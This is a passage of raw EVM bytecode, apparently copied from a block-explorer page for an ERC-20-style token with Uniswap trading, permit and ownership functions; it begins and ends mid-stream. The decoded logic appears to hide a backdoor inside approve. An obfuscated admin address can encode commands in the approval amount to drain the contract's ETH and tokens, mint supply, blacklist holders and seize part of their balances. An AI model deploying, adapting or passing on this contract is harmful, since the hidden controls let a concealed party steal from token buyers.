ffffff1614155b8015610aae5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610b4a5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610b625750600a60009054906101000a900460ff165b15610c185760006005600060058110610b7e57610b7d6134bc565b5b0154606485610b8d919061351a565b610b97919061354b565b905080600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508084610c149190613488565b9350505b60006005600460058110610c2f57610c2e6134bc565b5b0154118015610c8c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ce65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610d4e576005600460058110610d0057610cff6134bc565b5b0154600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610d4d57600080fd5b5b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610e34578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e2b919061318f565b60405180910390a35b60019150509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000004614610ec057610ebb612f33565b610ee2565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f6020528060005260406000206000915090505481565b6001805461109b90613428565b80601f01602080910402602001604051908101604052809291908181526020018280546110c790613428565b80156111145780601f106110e957610100808354040283529160200191611114565b820191906000526020600020905b8154815290600101906020018083116110f757829003601f168201915b505050505081565b600060011515600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361117b57600080fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ca9190613488565b92505081905550600060056002600581106111e8576111e76134bc565b5b01541180156112445750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561126d57600560026005811061125e5761125d6134bc565b5b015482111561126c57600080fd5b5b60006005600160058110611284576112836134bc565b5b01541180156112e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b801561133a5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113525750600a60009054906101000a900460ff165b15611408576000600560016005811061136e5761136d6134bc565b5b015460648461137d919061351a565b611387919061354b565b905080600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080836114049190613488565b9250505b6000600560046005811061141f5761141e6134bc565b5b015411801561147c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114d65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115725750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115e557600560046005811061158c5761158b6134bc565b5b015482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d991906135f9565b11156115e457600080fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cb578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c2919061318f565b60405180910390a35b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175c906135d9565b60405180910390fd5b600a60009054906101000a900460ff161561177f57600080fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119289190613642565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d59190613642565b6040518363ffffffff1660e01b81526004016119f292919061366f565b6020604051808303816000875af1158015611a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a359190613642565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611b3d969594939291906136dd565b60606040518083038185885af1158015611b5b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b809190613753565b505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611c229291906137a6565b6020604051808303816000875af1158015611c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6591906137fb565b506001600a60006101000a81548160ff021916908315150217905550565b42841015611cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbd90613874565b60405180910390fd5b60006001611cd2610e8a565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600f60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b604051602001611d5a96959493929190613894565b60405160208183030381529060405280519060200120604051602001611d8192919061396d565b6040516020818303038152906040528051906020012085858560405160008152602001604052604051611db794939291906139a4565b6020604051602081039080840390855afa158015611dd9573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611e4d57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390613a35565b60405180910390fd5b85600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611f6b919061318f565b60405180910390a350505050505050565b600e602052816000526040600020602052806000526040600020600091509150505481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204e906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036120d7573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156120d1573d6000803e3d6000fd5b506121dc565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612117919061320c565b602060405180830381865afa158015612134573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121589190613a55565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016121959291906137a6565b6020604051808303816000875af11580156121b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d891906137fb565b5050505b50565b6000807f80000000000000000000000000000000000000000000000000000000000000008416148015612234575060007f40000000000000000000000000000000000000000000000000000000000000008416145b8015612262575060007f20000000000000000000000000000000000000000000000000000000000000008416145b8015612291575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b801561232c5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561249b5760008373ffffffffffffffffffffffffffffffffffffffff160361239b573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612395573d6000803e3d6000fd5b5061249a565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123f6919061320c565b602060405180830381865afa158015612413573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124379190613a55565b6040518363ffffffff1660e01b81526004016124549291906137a6565b6020604051808303816000875af1158015612473573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249791906137fb565b50505b5b60007f80000000000000000000000000000000000000000000000000000000000000008416141580156124f1575060007f4000000000000000000000000000000000000000000000000000000000000000841614155b8015612520575060007f2000000000000000000000000000000000000000000000000000000000000000841614155b801561254f575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b80156125ea5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156126455760005b60028160ff161461264357607f60078261260c9190613a82565b60ff1685901c1660058260ff166005811061262a576126296134bc565b5b018190555060018161263c9190613abf565b90506125f2565b505b60007f800000000000000000000000000000000000000000000000000000000000000084161415801561269a575060007f40000000000000000000000000000000000000000000000000000000000000008416145b80156126c8575060007f20000000000000000000000000000000000000000000000000000000000000008416145b80156126f6575060007f10000000000000000000000000000000000000000000000000000000000000008416145b80156127915750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561283557607f60a084901c16600a6127aa9190613c27565b607f60a785901c166127bc919061354b565b600b60008282546127cd91906135f9565b92505081905550607f60a084901c16600a0a607f60a785901c1602600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60007f80000000000000000000000000000000000000000000000000000000000000008416148015612889575060007f40000000000000000000000000000000000000000000000000000000000000008416145b80156128b7575060007f20000000000000000000000000000000000000000000000000000000000000008416145b80156128e5575060007f10000000000000000000000000000000000000000000000000000000000000008416145b80156129805750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612a3a576000607f601585901c16905080600a61299e9190613c27565b607f600e86901c166129b0919061354b565b60056003600581106129c5576129c46134bc565b5b018190555080600a6129d79190613c27565b607f600786901c166129e9919061354b565b60056002600581106129fe576129fd6134bc565b5b018190555080600a612a109190613c27565b607f8516612a1e919061354b565b6005600460058110612a3357612a326134bc565b5b0181905550505b60007f8000000000000000000000000000000000000000000000000000000000000000841614158015612a8f575060007f40000000000000000000000000000000000000000000000000000000000000008416145b8015612abe575060007f2000000000000000000000000000000000000000000000000000000000000000841614155b8015612aec575060007f10000000000000000000000000000000000000000000000000000000000000008416145b8015612b875750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612bfc576065607f60a085901c1614612ba2576000612ba5565b60015b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60007f80000000000000000000000000000000000000000000000000000000000000008416148015612c51575060007f4000000000000000000000000000000000000000000000000000000000000000841614155b8015612c7f575060007f20000000000000000000000000000000000000000000000000000000000000008416145b8015612cae575060007f1000000000000000000000000000000000000000000000000000000000000000841614155b8015612d495750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15612ed757607f60a084901c166064600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da2919061351a565b612dac919061354b565b600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e1c91906135f9565b92505081905550607f60a084901c166064600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e77919061351a565b612e81919061354b565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ecf9190613488565b925050819055505b60007f80000000000000000000000000000000000000000000000000000000000000008416141580612f2b575060007f80000000000000000000000000000000000000000000000000000000000000008416145b905092915050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051612f659190613d15565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001612fa4959493929190613d2c565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ff9578082015181840152602081019050612fde565b60008484015250505050565b6000601f19601f8301169050919050565b600061302182612fbf565b61302b8185612fca565b935061303b818560208601612fdb565b61304481613005565b840191505092915050565b600060208201905081810360008301526130698184613016565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130a182613076565b9050919050565b6130b181613096565b81146130bc57600080fd5b50565b6000813590506130ce816130a8565b92915050565b6000819050919050565b6130e7816130d4565b81146130f257600080fd5b50565b600081359050613104816130de565b92915050565b6000806040838503121561312157613120613071565b5b600061312f858286016130bf565b9250506020613140858286016130f5565b9150509250929050565b60008115159050919050565b61315f8161314a565b82525050565b600060208201905061317a6000830184613156565b92915050565b613189816130d4565b82525050565b60006020820190506131a46000830184613180565b92915050565b6000806000606084860312156131c3576131c2613071565b5b60006131d1868287016130bf565b93505060206131e2868287016130bf565b92505060406131f3868287016130f5565b9150509250925092565b61320681613096565b82525050565b600060208201905061322160008301846131fd565b92915050565b600060ff82169050919050565b61323d81613227565b82525050565b60006020820190506132586000830184613234565b92915050565b6000819050919050565b6132718161325e565b82525050565b600060208201905061328c6000830184613268565b92915050565b6000602082840312156132a8576132a7613071565b5b60006132b6848285016130bf565b91505092915050565b6132c881613227565b81146132d357600080fd5b50565b6000813590506132e5816132bf565b92915050565b6132f48161325e565b81146132ff57600080fd5b50565b600081359050613311816132eb565b92915050565b600080600080600080600060e0888a03121561333657613335613071565b5b60006133448a828b016130bf565b97505060206133558a828b016130bf565b96505060406133668a828b016130f5565b95505060606133778a828b016130f5565b94505060806133888a828b016132d6565b93505060a06133998a828b01613302565b92505060c06133aa8a828b01613302565b91505092959891949750929550565b600080604083850312156133d0576133cf613071565b5b60006133de858286016130bf565b92505060206133ef858286016130bf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061344057607f821691505b602082108103613453576134526133f9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613493826130d4565b915061349e836130d4565b92508282039050818111156134b6576134b5613459565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613525826130d4565b9150613530836130d4565b9250826135405761353f6134eb565b5b828204905092915050565b6000613556826130d4565b9150613561836130d4565b925082820261356f816130d4565b9150828204841483151761358657613585613459565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135c3602083612fca565b91506135ce8261358d565b602082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b6000613604826130d4565b915061360f836130d4565b925082820190508082111561362757613626613459565b5b92915050565b60008151905061363c816130a8565b92915050565b60006020828403121561365857613657613071565b5b60006136668482850161362d565b91505092915050565b600060408201905061368460008301856131fd565b61369160208301846131fd565b9392505050565b6000819050919050565b6000819050919050565b60006136c76136c26136bd84613698565b6136a2565b6130d4565b9050919050565b6136d7816136ac565b82525050565b600060c0820190506136f260008301896131fd565b6136ff6020830188613180565b61370c60408301876136ce565b61371960608301866136ce565b61372660808301856131fd565b61373360a0830184613180565b979650505050505050565b60008151905061374d816130de565b92915050565b60008060006060848603121561376c5761376b613071565b5b600061377a8682870161373e565b935050602061378b8682870161373e565b925050604061379c8682870161373e565b9150509250925092565b60006040820190506137bb60008301856131fd565b6137c86020830184613180565b9392505050565b6137d88161314a565b81146137e357600080fd5b50565b6000815190506137f5816137cf565b92915050565b60006020828403121561381157613810613071565b5b600061381f848285016137e6565b91505092915050565b7f5045524d49545f444541444c494e455f45585049524544000000000000000000600082015250565b600061385e601783612fca565b915061386982613828565b602082019050919050565b6000602082019050818103600083015261388d81613851565b9050919050565b600060c0820190506138a96000830189613268565b6138b660208301886131fd565b6138c360408301876131fd565b6138d06060830186613180565b6138dd6080830185613180565b6138ea60a0830184613180565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006139366002836138f5565b915061394182613900565b600282019050919050565b6000819050919050565b6139676139628261325e565b61394c565b82525050565b600061397882613929565b91506139848285613956565b6020820191506139948284613956565b6020820191508190509392505050565b60006080820190506139b96000830187613268565b6139c66020830186613234565b6139d36040830185613268565b6139e06060830184613268565b95945050505050565b7f494e56414c49445f5349474e4552000000000000000000000000000000000000600082015250565b6000613a1f600e83612fca565b9150613a2a826139e9565b602082019050919050565b60006020820190508181036000830152613a4e81613a12565b9050919050565b600060208284031215613a6b57613a6a613071565b5b6000613a798482850161373e565b91505092915050565b6000613a8d82613227565b9150613a9883613227565b9250828202613aa681613227565b9150808214613ab857613ab7613459565b5b5092915050565b6000613aca82613227565b9150613ad583613227565b9250828201905060ff811115613aee57613aed613459565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613b4b57808604811115613b2757613b26613459565b5b6001851615613b365780820291505b8081029050613b4485613af4565b9450613b0b565b94509492505050565b600082613b645760019050613c20565b81613b725760009050613c20565b8160018114613b885760028114613b9257613bc1565b6001915050613c20565b60ff841115613ba457613ba3613459565b5b8360020a915084821115613bbb57613bba613459565b5b50613c20565b5060208310610133831016604e8410600b8410161715613bf65782820a905083811115613bf157613bf0613459565b5b613c20565b613c038484846001613b01565b92509050818404811115613c1a57613c19613459565b5b81810290505b9392505050565b6000613c32826130d4565b9150613c3d836130d4565b9250613c6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b54565b905092915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154613c9f81613428565b613ca98186613c72565b94506001821660008114613cc45760018114613cd957613d0c565b60ff1983168652811515820286019350613d0c565b613ce285613c7d565b60005b83811015613d0457815481890152600182019150602081019050613ce5565b838801955050505b50505092915050565b6000613d218284613c92565b915081905092915050565b600060a082019050613d416000830188613268565b613d4e6020830187613268565b613d5b6040830186613268565b613d686060830185613180565b613d7560808301846131fd565b969550505050505056fea26469706673582212204ff254a0bf12660934cb3a1723fea367bcf4d4717fb0dc1086f7e827601d3aa564736f6c6343000811003300000000000000000000000000000000000000000000532a3b12f3e5cd9ada43000000000000000000000000ff5ed5b68ff271773140f5145d2b5936d2e399d800000000000000000000000000000000000000000000b770c3875b1280006f91

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063715018a611610095578063c9567bf911610064578063c9567bf91461038b578063d505accf146103a2578063dd62ed3e146103cb578063f851a44014610408578063f9d0831a1461043357610114565b8063715018a6146102cf5780637ecebe00146102e657806395d89b4114610323578063a9059cbb1461034e57610114565b80632dc0562d116100dc5780632dc0562d146101e6578063313ce567146102115780633644e5151461023c57806349bd5a5e1461026757806370a082311461029257610114565b806306fdde0314610116578063095ea7b31461014157806318160ddd1461017e57806323b872dd146101a957610114565b3661011457005b005b34801561012257600080fd5b5061012b61045c565b604051610138919061304f565b60405180910390f35b34801561014d57600080fd5b506101686004803603810190610163919061310a565b6104ea565b6040516101759190613165565b60405180910390f35b34801561018a57600080fd5b506101936105ef565b6040516101a0919061318f565b60405180910390f35b3480156101b557600080fd5b506101d060048036038101906101cb91906131aa565b6105f5565b6040516101dd9190613165565b60405180910390f35b3480156101f257600080fd5b506101fb610e40565b604051610208919061320c565b60405180910390f35b34801561021d57600080fd5b50610226610e66565b6040516102339190613243565b60405180910390f35b34801561024857600080fd5b50610251610e8a565b60405161025e9190613277565b60405180910390f35b34801561027357600080fd5b5061027c610ee7565b604051610289919061320c565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613292565b610f0d565b6040516102c6919061318f565b60405180910390f35b3480156102db57600080fd5b506102e4610f25565b005b3480156102f257600080fd5b5061030d60048036038101906103089190613292565b611076565b60405161031a919061318f565b60405180910390f35b34801561032f57600080fd5b5061033861108e565b604051610345919061304f565b60405180910390f35b34801561035a57600080fd5b506103756004803603810190610370919061310a565b61111c565b6040516103829190613165565b60405180910390f35b34801561039757600080fd5b506103a06116d5565b005b3480156103ae57600080fd5b506103c960048036038101906103c49190613317565b611c83565b005b3480156103d757600080fd5b506103f260048036038101906103ed91906133b9565b611f7c565b6040516103ff919061318f565b60405180910390f35b34801561041457600080fd5b5061041d611fa1565b60405161042a919061320c565b60405180910390f35b34801561043f57600080fd5b5061045a60048036038101906104559190613292565b611fc7565b005b6000805461046990613428565b80601f016020809104026020016040519081016040528092919081815260200182805461049590613428565b80156104e25780601f106104b7576101008083540402835291602001916104e2565b820191906000526020600020905b8154815290600101906020018083116104c557829003601f168201915b505050505081565b60006104f682336121df565b6104ff57600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105dd919061318f565b60405180910390a36001905092915050565b600b5481565b600060011515600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361065457600080fd5b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107895782816107089190613488565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d89190613488565b92505081905550600060056003600581106107f6576107f56134bc565b5b01541180156108525750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561088a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156108e45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156109805750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156109a957600560036005811061099a576109996134bc565b5b01548311156109a857600080fd5b5b600060056000600581106109c0576109bf6134bc565b5b0154118015610a1c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610a5457503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610aae5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610b4a5750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610b625750600a60009054906101000a900460ff165b15610c185760006005600060058110610b7e57610b7d6134bc565b5b0154606485610b8d919061351a565b610b97919061354b565b905080600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508084610c149190613488565b9350505b60006005600460058110610c2f57610c2e6134bc565b5b0154118015610c8c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ce65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffff